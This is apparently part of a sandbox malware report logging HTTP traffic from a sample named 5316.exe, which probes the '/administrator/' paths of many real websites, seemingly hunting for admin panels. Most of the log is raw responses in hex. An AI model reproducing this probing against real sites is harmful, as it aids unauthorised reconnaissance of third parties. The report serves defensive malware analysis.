50	192.168.2.4	51577	160.124.181.5	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:20.266058922 CET	181	OUT	GET /administrator/ HTTP/1.1 Host: nymalegigolos.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:20.649360895 CET	435	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:12:18 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: PHPSESSID=v3j61nbmo5cjtlk8e2n7n54q94; path=/ Upgrade: h2 Connection: Upgrade, close Location: http://www.nymalegigolos.com/administrator/ Content-Length: 0 Content-Type: text/html; charset=gbk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	51492	217.160.0.164	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:20.334681034 CET	177	OUT	GET /administrator/ HTTP/1.1 Host: schelberg.net Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:20.587320089 CET	808	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Date: Wed, 20 Dec 2023 02:13:20 GMT Server: Apache X-Frame-Options: deny Content-Encoding: gzip Data Raw: 32 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 b4 54 20 a8 2b 35 12 42 e2 b2 f6 8e ed 69 ed dd 68 77 9d 0f 10 ff 9d f1 3a 91 12 e2 92 5c a2 9d 8f f7 76 df 9b 71 7c 79 93 7e 5c fc 78 b8 85 ca 35 f5 f5 45 dc ff 41 5c a1 90 d7 17 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 7d e0 13 d6 6d 6b 04 b7 5d 62 12 38 dc b8 28 b7 d6 67 3c d4 18 32 2d b7 63 78 b5 14 c6 29 34 63 a0 c2 88 06 e1 37 83 1e ff 2a a4 b2 72 b3 ab e9 f4 f5 fc 24 b9 26 e9 aa 17 72 8d 30 25 a9 d9 f4 b4 6b 29 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 5f b8 c9 0a 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 4e 2f 96 89 fc b9 34 ba 55 72 e6 8c 50 96 d5 41 e5 8e eb fe 1c 89 d0 c9 38 20 9a 66 ca a2 d6 eb 59 45 52 a2 3a 45 88 23 6f d0 81 87 fc 06 e6 4a 82 fb f4 7b 00 8a bd 48 02 dc 2c c9 60 6f db ce e9 7d 15 29 89 9b 31 14 ba 66 96 31 88 ba de 37 dd a5 e9 dd d7 db 0f e9 a2 9f 83 7e 40 ce b7 19 9d 69 b7 a3 ba 0c 43 f8 e4 91 d9 25 f8 c6 23 16 2e 44 09 05 6d d0 82 65 21 39 1c 92 b5 2d 1f b5 82 46 67 c4 b3 26 71 45 39 47 c2 70 e0 55 7e 50 92 be 24 f4 87 39 90 22 47 ec 4a 87 88 c9 d5 64 3a 87 46 6c a8 69 9b c3 50 6b d1 f8 b3 c8 b8 6a 3a df bf 73 45 b8 5e 6a e3 ba 67 c6 d1 6e 21 e2 ce 0f 4f 2f 69 05 24 93 60 37 e0 bd 18 11 47 7d d6 e6 86 96 ee 70 3d 9e c4 4a f4 d1 7e 4b a4 ce db 86 0d 99 ac 0d 39 7c 73 64 fa 7e 41 46 f1 7f 71 a0 16 aa 6c 45 c9 4e 7e 61 f4 47 cf 19 8c 06 a1 f6 90 ef 60 64 4d 9e 04 51 64 51 6a be fc 33 6b 3d c9 75 13 15 a6 e9 8e d1 b9 fe 35 8f 86 5e 4f 6a 9d 0b 47 5a 4d 2a 6d 1d 30 ec d9 c6 d1 e7 f4 3e 7d 7c e8 29 6f 6e cf f1 8c a2 ee 3a 93 27 9e 99 e1 52 e6 8c 7f 46 bd 42 ff 94 bc ed 16 82 57 c0 2b e2 fd eb 7d 63 1f bb ef dc 5f 9d a7 e3 e7 f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 239TMo@WLP@qzCT +5Bihw:\vq\|y~\x5EA\qN@^c%A}mk]b8(g<2-cx)4c7r$&r0%k)$U2m$n]MRV._\TLXN/4UrPA8 fYER:E#oJ{H,`o})1f17~@iC%#.Dme!9-Fg&qE9GpU~P$9"GJd:FliPkj:sE^jgn!O/i$`7G}p=J~K9\|sd~AFqlEN~aG`dMQdQj3k=u5^OjGZMm0>}\|)on:'RFBW+}c_0
Dec 20, 2023 03:13:20.587841034 CET	232	OUT	GET /administrator/index.php HTTP/1.1 Host: schelberg.net Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://schelberg.net/administrator/
Dec 20, 2023 03:13:20.886787891 CET	808	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Date: Wed, 20 Dec 2023 02:13:20 GMT Server: Apache X-Frame-Options: deny Content-Encoding: gzip Data Raw: 32 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 b4 54 20 a8 2b 35 12 42 e2 b2 f6 8e ed 69 ed dd 68 77 9d 0f 10 ff 9d f1 3a 91 12 e2 92 5c a2 9d 8f f7 76 df 9b 71 7c 79 93 7e 5c fc 78 b8 85 ca 35 f5 f5 45 dc ff 41 5c a1 90 d7 17 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 7d e0 13 d6 6d 6b 04 b7 5d 62 12 38 dc b8 28 b7 d6 67 3c d4 18 32 2d b7 63 78 b5 14 c6 29 34 63 a0 c2 88 06 e1 37 83 1e ff 2a a4 b2 72 b3 ab e9 f4 f5 fc 24 b9 26 e9 aa 17 72 8d 30 25 a9 d9 f4 b4 6b 29 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 5f b8 c9 0a 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 4e 2f 96 89 fc b9 34 ba 55 72 e6 8c 50 96 d5 41 e5 8e eb fe 1c 89 d0 c9 38 20 9a 66 ca a2 d6 eb 59 45 52 a2 3a 45 88 23 6f d0 81 87 fc 06 e6 4a 82 fb f4 7b 00 8a bd 48 02 dc 2c c9 60 6f db ce e9 7d 15 29 89 9b 31 14 ba 66 96 31 88 ba de 37 dd a5 e9 dd d7 db 0f e9 a2 9f 83 7e 40 ce b7 19 9d 69 b7 a3 ba 0c 43 f8 e4 91 d9 25 f8 c6 23 16 2e 44 09 05 6d d0 82 65 21 39 1c 92 b5 2d 1f b5 82 46 67 c4 b3 26 71 45 39 47 c2 70 e0 55 7e 50 92 be 24 f4 87 39 90 22 47 ec 4a 87 88 c9 d5 64 3a 87 46 6c a8 69 9b c3 50 6b d1 f8 b3 c8 b8 6a 3a df bf 73 45 b8 5e 6a e3 ba 67 c6 d1 6e 21 e2 ce 0f 4f 2f 69 05 24 93 60 37 e0 bd 18 11 47 7d d6 e6 86 96 ee 70 3d 9e c4 4a f4 d1 7e 4b a4 ce db 86 0d 99 ac 0d 39 7c 73 64 fa 7e 41 46 f1 7f 71 a0 16 aa 6c 45 c9 4e 7e 61 f4 47 cf 19 8c 06 a1 f6 90 ef 60 64 4d 9e 04 51 64 51 6a be fc 33 6b 3d c9 75 13 15 a6 e9 8e d1 b9 fe 35 8f 86 5e 4f 6a 9d 0b 47 5a 4d 2a 6d 1d 30 ec d9 c6 d1 e7 f4 3e 7d 7c e8 29 6f 6e cf f1 8c a2 ee 3a 93 27 9e 99 e1 52 e6 8c 7f 46 bd 42 ff 94 bc ed 16 82 57 c0 2b e2 fd eb 7d 63 1f bb ef dc 5f 9d a7 e3 e7 f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 239TMo@WLP@qzCT +5Bihw:\vq\|y~\x5EA\qN@^c%A}mk]b8(g<2-cx)4c7r$&r0%k)$U2m$n]MRV._\TLXN/4UrPA8 fYER:E#oJ{H,`o})1f17~@iC%#.Dme!9-Fg&qE9GpU~P$9"GJd:FliPkj:sE^jgn!O/i$`7G}p=J~K9\|sd~AFqlEN~aG`dMQdQj3k=u5^OjGZMm0>}\|)on:'RFBW+}c_0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	51515	95.173.180.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:20.343472958 CET	177	OUT	GET /administrator/ HTTP/1.1 Host: london.com.tr Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:20.906133890 CET	624	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 244 Connection: keep-alive Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS Access-Control-Allow-Headers: x-test-header, Origin, X-Requested-With, Content-Type, Accept Location: https://london.com.tr/administrator/ Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6c 6f 6e 64 6f 6e 2e 63 6f 6d 2e 74 72 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://london.com.tr/administrator/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	51512	217.70.184.38	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:20.343540907 CET	179	OUT	GET /administrator/ HTTP/1.1 Host: plastikolor.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:20.578780890 CET	539	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Location: http://www.plastikolor.com/administrator/ Cache-Control: max-age=10800 Vary: Accept-Language Data Raw: 31 30 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 46 72 61 6d 65 73 65 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 66 72 61 6d 65 73 65 74 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 09 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 09 3c 70 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 70 65 72 6d 61 6e 65 6e 74 6c 79 20 2d 2d 20 73 65 65 20 55 52 49 20 6c 69 73 74 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 0a 3c 2f 68 74 6d 6c 3e 0a 0a 0a 0d 0a Data Ascii: 10c<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>Object moved permanently -- see URI list</p></body></html>
Dec 20, 2023 03:13:20.578867912 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	51511	83.98.155.23	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:20.343864918 CET	180	OUT	GET /administrator/ HTTP/1.1 Host: a2b-internet.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:20.586036921 CET	453	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:20 GMT Server: Apache/2 Location: https://a2b-internet.com/administrator/ Content-Length: 247 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 32 62 2d 69 6e 74 65 72 6e 65 74 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://a2b-internet.com/administrator/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	51589	185.112.125.71	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:20.662823915 CET	176	OUT	GET /administrator/ HTTP/1.1 Host: rehau.com.mk Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:20.934546947 CET	229	IN	HTTP/1.1 302 302 Date: Wed, 20 Dec 2023 02:13:20 GMT Server: Apache Location: https://www.rehau.com/mk-mk Content-Language: en-US Content-Length: 0 Strict-Transport-Security: max-age=15768000; includeSubDomains; preload
Dec 20, 2023 03:13:23.564245939 CET	223	OUT	GET /administrator/index.php HTTP/1.1 Host: rehau.com.mk Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.rehau.com/mk-mk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	52683	216.40.47.17	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:20.942913055 CET	183	OUT	GET /administrator/ HTTP/1.1 Host: theseekerchurch.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:21.113333941 CET	193	IN	HTTP/1.1 302 Moved Temporarily Server: Apache-Coyote/1.1 Location: http://www.theseekerchurch.com/administrator/ Content-Length: 0 Date: Wed, 20 Dec 2023 02:13:20 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	51817	213.186.33.19	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:20.974878073 CET	178	OUT	GET /administrator/ HTTP/1.1 Host: eb-concept.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:21.238656998 CET	536	IN	HTTP/1.1 200 OK date: Wed, 20 Dec 2023 02:13:21 GMT content-type: text/html; charset=UTF-8 content-length: 4184 server: Apache x-powered-by: PHP/7.1 vary: Accept-Encoding content-encoding: gzip x-iplb-request-id: 668198D4:CA69_D5BA2113:0050_65824DC0_1BE43:4FF0 x-iplb-instance: 51844 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 3c eb 5a 1b c9 b1 bf c5 53 54 66 4f 0c 3e cb 48 c2 18 8c 8d a4 04 63 b1 66 83 81 60 f0 9e 4d be 8d bf d6 4c 4b ea 65 6e ee 99 11 60 c7 ef 9a 9f 21 4f 91 aa be cc b4 84 b0 31 36 89 93 63 61 8b e9 5b 75 dd bb ba ba 87 ce b8 88 a3 de 02 40 67 cc 59 d8 5b e8 14 a2 88 78 af ff 74 1b 8e 9f f7 a1 ff aa bf 7f 0c 4f e1 f8 00 bf b6 0f 5e 1c 6e fd b0 ff 73 a7 a5 3b 2d 74 62 5e 30 18 17 45 e6 f3 37 a5 98 74 bd ed 34 29 78 52 f8 c7 17 19 f7 20 d0 a5 ae 57 f0 f3 a2 45 33 6d 42 30 66 32 e7 45 57 e4 a9 bf b1 b1 f6 d8 5f f1 d4 f4 0a 54 c2 62 de f5 64 3a 48 8b dc 19 2e 92 90 9f 2f c3 30 8d a2 f4 cc 83 16 0d 98 1a 71 ca 2f ce 52 19 ba 63 58 22 62 56 88 34 c9 b1 2e 8e b9 0c 04 8b 78 be 0c 4e 43 96 Data Ascii: <ZSTfO>Hcf`MLKen`!O16ca[u@gY[xtO^ns;-tb^0E7t4)xR WE3mB0f2EW_Tbd:H./0q/RcX"bV4.xNC
Dec 20, 2023 03:13:21.238707066 CET	536	IN	Data Raw: 96 12 02 ec 2e b9 d3 ab c4 a9 16 aa 5e 6e 27 07 92 03 07 f2 54 c8 4b 0e e1 a2 ea 94 49 91 73 b7 59 24 34 5a 4c a6 2a 15 d4 9c 45 f8 18 72 88 16 59 59 a4 71 3a 10 d1 74 af cb 90 8d d2 91 78 53 4e 55 5f 86 65 c0 66 21 46 65 38 db 2f 48 11 36 81 67 Data Ascii: .^n'TKIsY$4ZLErYYq:txSNU_ef!Fe8/H6g @y"Q %7v<"#j%W,CH$!7Z$Kl^!HlCd2?\!Ii7+hZ,+&i\Np"jj&hgaQ"4p)"`3$o\<?'r
Dec 20, 2023 03:13:21.238718987 CET	536	IN	Data Raw: 0c 80 40 2d 7e af 79 39 61 51 c9 9b 11 4f 46 c5 58 c1 5c 20 61 5d 6d 83 0e 3c bc 0f 34 9d e1 e3 15 81 17 b2 e4 1a ab 1a f1 21 43 d9 d5 98 5a 49 5a 10 ad d6 2c 10 35 a0 82 d2 6a 19 38 04 7b 73 a1 01 9a 42 64 b1 15 ad 83 28 8e 6a 34 2c b5 b0 b4 e8 Data Ascii: @-~y9aQOFX\ a]m<4!CZIZ,5j8{sBd(j4,Z,~gt5#='# -TFp n*Ov?l}+iZE>%phC"S1i x?\oivlcx^lp7[aX
Dec 20, 2023 03:13:21.238737106 CET	536	IN	Data Raw: 6a 9e 07 d7 19 ab 60 3b 65 72 88 04 9e 82 df 1a b2 0a f9 87 4d aa 9c 07 4f 77 56 a0 f4 63 05 45 db 89 03 c8 98 17 c2 d2 4f 73 c1 d9 51 1a a2 2d e9 4d 8b b1 2c 25 7a 67 5d d4 c6 d0 68 68 48 de 2b 5e 12 bf de a2 f6 c7 59 24 48 2c b8 3d 0c 0a b5 d9 Data Ascii: j`;erMOwVcEOsQ-M,%zg]hhH+^Y$H,=_+=l<Tpo5^jstIUR=lNoWSzNm>k$0m<$`afBLCbTOHi#EE<\| :
Dec 20, 2023 03:13:21.238770008 CET	536	IN	Data Raw: e0 d5 d6 fe 31 f8 70 af cf 82 b2 e0 9b c7 07 fb fb ba e6 e5 c9 d1 e1 51 df 14 b6 5e 9c bc d4 4f 47 b6 e7 76 f5 b4 75 bc bb 63 41 fa b0 63 ab 9f d9 87 a3 ad e3 fe c9 91 33 c9 b3 93 6d 35 c6 87 bd 93 67 bb 7f 3c e9 77 5a 03 a4 99 30 45 f4 a4 25 fd Data Ascii: 1pQ^OGvucAc3m5g<wZ0E%^2NJ<;-Hp}>aHTkB;'daJ%>O3!O1J3Z+hU_"D@j%exmu(E)wl)$
Dec 20, 2023 03:13:21.238812923 CET	536	IN	Data Raw: 78 41 07 ca 0e 6e cd e6 7d 97 4c b3 94 c1 cc d2 f5 af 58 48 ee de 5a 14 02 ae 81 06 2c e7 05 fb 6a d7 92 0f 9b e7 fa 6d cd d3 4a b3 93 e3 fa 93 8c d4 7d 8c 60 91 ec 8b 95 79 2e e8 dc 1e ad 2c 2c 75 7a 0b 6d 6e 88 6d 62 c2 22 0c 73 f5 88 8f 2a cc Data Ascii: xAn}LXHZ,jmJ}`y.,,uzmnmb"s*g.$JW:c.FyW,y<a+lFlbp"^]54fnPM]4oB&p_$y4%F<AUtpE#ER`pAm
Dec 20, 2023 03:13:21.238862038 CET	536	IN	Data Raw: 93 a2 69 b6 b6 d5 e7 b6 6c d5 c7 11 c6 b2 5e 50 3e 87 b6 c9 15 93 a4 73 ac 86 f6 8e 5b e7 a4 c8 9f 2c 54 1c 31 be be a3 6e 87 e8 6b e1 38 0d 3a c7 71 8a 1e 86 1c 91 07 69 92 97 83 58 a0 67 36 e7 65 f5 35 93 62 2c f2 fb 1e f4 d4 36 f9 06 1d c9 22 Data Ascii: il^P>s[,T1nk8:qiXg6e5b,6"HJ 2+qR8C^q<+Dl#/4&5n*\|INOw(77<PW{<JX1f^up:Ji3M3Wu4-P}-@q,UnJ8
Dec 20, 2023 03:13:21.238873005 CET	536	IN	Data Raw: 0d d2 9c 5f 19 46 1a a0 78 e5 08 c3 5c f6 fb 04 17 e7 88 72 26 e2 9a 56 2c 0d d8 15 14 e9 0b 93 9c 81 96 95 e9 a0 e2 57 8c b3 30 14 93 e9 19 3e 3d aa 04 68 7b cc a8 96 b9 9f a8 b5 8b c2 7f 03 d7 e8 99 89 cc b3 5e 1d 8d ce 86 bc 2a 36 a3 eb 1e db Data Ascii: _Fx\r&V,W0>=h{^6-z>K8z'pt-uY^m>>8y{4uOV+\|J BV0)-plg8: ogq`_U+
Dec 20, 2023 03:13:21.238883972 CET	192	IN	Data Raw: f2 dc c5 29 8b 70 41 5c 46 49 06 2c 51 2f 9c d3 3b d1 99 39 58 1f 7e 61 44 12 7a 07 5f bd df 8e 36 a3 6e 7c 58 49 e8 9a 65 fd 0b 62 8c 25 12 c4 81 49 34 38 5b 49 b2 44 b6 8e 58 14 d9 aa 53 9e 84 bf 0a 18 09 c9 02 5b 27 c7 82 25 cc 96 28 6e 8d d9 Data Ascii: )pA\FI,Q/;9X~aDz_6n\|XIeb%I48[IDXS['%(n/.c7$H6VbVU0\|P{"&uW'W(%j>;*X0/RxD
Dec 20, 2023 03:13:21.239533901 CET	234	OUT	GET /administrator/index.php HTTP/1.1 Host: eb-concept.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://eb-concept.com/administrator/
Dec 20, 2023 03:13:21.501413107 CET	536	IN	HTTP/1.1 200 OK date: Wed, 20 Dec 2023 02:13:21 GMT content-type: text/html; charset=UTF-8 content-length: 4184 server: Apache x-powered-by: PHP/7.1 vary: Accept-Encoding content-encoding: gzip x-iplb-request-id: 668198D4:CA69_D5BA2113:0050_65824DC1_1BFA5:4FF0 x-iplb-instance: 51844 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 3c eb 5a 1b c9 b1 bf c5 53 54 66 4f 0c 3e cb 48 c2 18 8c 8d a4 04 63 b1 66 83 81 60 f0 9e 4d be 8d bf d6 4c 4b ea 65 6e ee 99 11 60 c7 ef 9a 9f 21 4f 91 aa be cc b4 84 b0 31 36 89 93 63 61 8b e9 5b 75 dd bb ba ba 87 ce b8 88 a3 de 02 40 67 cc 59 d8 5b e8 14 a2 88 78 af ff 74 1b 8e 9f f7 a1 ff aa bf 7f 0c 4f e1 f8 00 bf b6 0f 5e 1c 6e fd b0 ff 73 a7 a5 3b 2d 74 62 5e 30 18 17 45 e6 f3 37 a5 98 74 bd ed 34 29 78 52 f8 c7 17 19 f7 20 d0 a5 ae 57 f0 f3 a2 45 33 6d 42 30 66 32 e7 45 57 e4 a9 bf b1 b1 f6 d8 5f f1 d4 f4 0a 54 c2 62 de f5 64 3a 48 8b dc 19 2e 92 90 9f 2f c3 30 8d a2 f4 cc 83 16 0d 98 1a 71 ca 2f ce 52 19 ba 63 58 22 62 56 88 34 c9 b1 2e 8e b9 0c 04 8b 78 be 0c 4e 43 96 Data Ascii: <ZSTfO>Hcf`MLKen`!O16ca[u@gY[xtO^ns;-tb^0E7t4)xR WE3mB0f2EW_Tbd:H./0q/RcX"bV4.xNC
Dec 20, 2023 03:13:21.501501083 CET	536	IN	Data Raw: 96 12 02 ec 2e b9 d3 ab c4 a9 16 aa 5e 6e 27 07 92 03 07 f2 54 c8 4b 0e e1 a2 ea 94 49 91 73 b7 59 24 34 5a 4c a6 2a 15 d4 9c 45 f8 18 72 88 16 59 59 a4 71 3a 10 d1 74 af cb 90 8d d2 91 78 53 4e 55 5f 86 65 c0 66 21 46 65 38 db 2f 48 11 36 81 67 Data Ascii: .^n'TKIsY$4ZLErYYq:txSNU_ef!Fe8/H6g @y"Q %7v<"#j%W,CH$!7Z$Kl^!HlCd2?\!Ii7+hZ,+&i\Np"jj&hgaQ"4p)"`3$o\<?'r
Dec 20, 2023 03:13:21.501559973 CET	536	IN	Data Raw: 0c 80 40 2d 7e af 79 39 61 51 c9 9b 11 4f 46 c5 58 c1 5c 20 61 5d 6d 83 0e 3c bc 0f 34 9d e1 e3 15 81 17 b2 e4 1a ab 1a f1 21 43 d9 d5 98 5a 49 5a 10 ad d6 2c 10 35 a0 82 d2 6a 19 38 04 7b 73 a1 01 9a 42 64 b1 15 ad 83 28 8e 6a 34 2c b5 b0 b4 e8 Data Ascii: @-~y9aQOFX\ a]m<4!CZIZ,5j8{sBd(j4,Z,~gt5#='# -TFp n*Ov?l}+iZE>%phC"S1i x?\oivlcx^lp7[aX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	51654	160.124.181.5	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:21.347448111 CET	449	IN	HTTP/1.1 400 Bad Request Date: Wed, 20 Dec 2023 02:12:18 GMT Server: Apache Content-Length: 283 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 